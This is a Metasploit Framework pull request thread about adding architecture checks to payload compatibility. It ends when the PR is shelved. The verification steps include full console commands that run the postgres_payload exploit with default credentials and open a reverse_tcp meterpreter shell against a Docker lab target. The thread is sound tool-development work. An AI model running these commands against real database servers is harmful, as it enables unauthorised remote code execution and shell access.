Update payload compatibility check to include arch

[adfoster-r7]

Spotted as part of https://github.com/rapid7/metasploit-framework/issues/15557

Before

When the user uses the following options:

use exploit/linux/postgres/postgres_payload
set username postgres
set password postgres
set rhost 192.168.123.6
set rport 5432
set database postgres
set lhost 192.168.123.1
set lport 5000
set target Linux\ x86_64
run

The payload will be set to linux/x86/meterpreter/reverse_tcp still, which isn't a compatible architecture.

The module will continue to run, and not get a shell as the architecture is wrong:

msf6 exploit(linux/postgres/postgres_payload) > run

[*] Started reverse TCP handler on 192.168.123.1:4444 
[*] 192.168.123.6:5500 - PostgreSQL 13.1 (Debian 13.1-1.pgdg100+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 8.3.0-6) 8.3.0, 64-bit
[*] Uploaded as /tmp/nWUyGoHW.so, should be cleaned up automatically
[*] Exploit completed, but no session was created.

After

Architecture is validated, and the user is notified:

msf6 exploit(linux/postgres/postgres_payload) > run

[-] Exploit failed: linux/x86/meterpreter/reverse_tcp is not a compatible payload.
[*] Exploit completed, but no session was created.

Verification

Run a docker container:

docker run --rm -p 5500:5432 -e POSTGRES_PASSWORD=postgres postgres:13.1

Verify the validation message appears:

use exploit/linux/postgres/postgres_payload
set username postgres
set password postgres
set rhost 192.168.123.6
set rport 5432
set database postgres
set lhost 192.168.123.1
set lport 5000
set target Linux\ x86_64
run

Verify the validation message disappears after setting a valid payload, and a meterpreter session is opened:

set payload linux/x64/meterpreter/reverse_tcp
run

[wvu]

[tekwizz123]

Soooooooo is this PR going to be worked on or what is the status on this a year later? 😄 Was looking into Docker related PRs and this one came up. Not sure if the requirements of this have changed with the recent work we have done.

[adfoster-r7]

The latest thoughts were here: https://github.com/rapid7/metasploit-framework/pull/15574#discussion_r696746826

We need to either manually validate that valid architectures are being used in the first place, or add automation for this, then change the scope of this PR to be a warning. Simon and I learnt through the local exploit suggester that there was a lot of misalignment on Metasploit's module metadata, hence the recommendation that a data mining step is investigated.

I'm not actively working on this though, if you're wishing to attic it.

[tekwizz123]

The latest thoughts were here: #15574 (comment)

We need to either manually validate that valid architectures are being used in the first place, or add automation for this, then change the scope of this PR to be a warning. Simon and I learnt through the local exploit suggester that there was a lot of misalignment on Metasploit's module metadata, hence the recommendation that a data mining step is investigated.

I'm not actively working on this though, if you're wishing to attic it.

All good and sorry I should have read the PR more closely 😞 I'm happy to assist with the alignment efforts if you need an extra hand on that otherwise I may just add the Delayed tag to this since I think its still valid to keep this open (vs atticing the issue) given how often people run into this issue.

[adfoster-r7]

Will attic this for now; It needs more cycles than currently available

[github-actions[bot]]

Thanks for your contribution to Metasploit Framework! We've looked at this pull request, and we agree that it seems like a good addition to Metasploit, but it looks like it is not quite ready to land. We've labeled it attic and closed it for now.

What does this generally mean? It could be one or more of several things:

• It doesn't look like there has been any activity on this pull request in a while
• We may not have the proper access or equipment to test this pull request, or the contributor doesn't have time to work on it right now.
• Sometimes the implementation isn't quite right and a different approach is necessary.

We would love to land this pull request when it's ready. If you have a chance to address all comments, we would be happy to reopen and discuss how to merge this!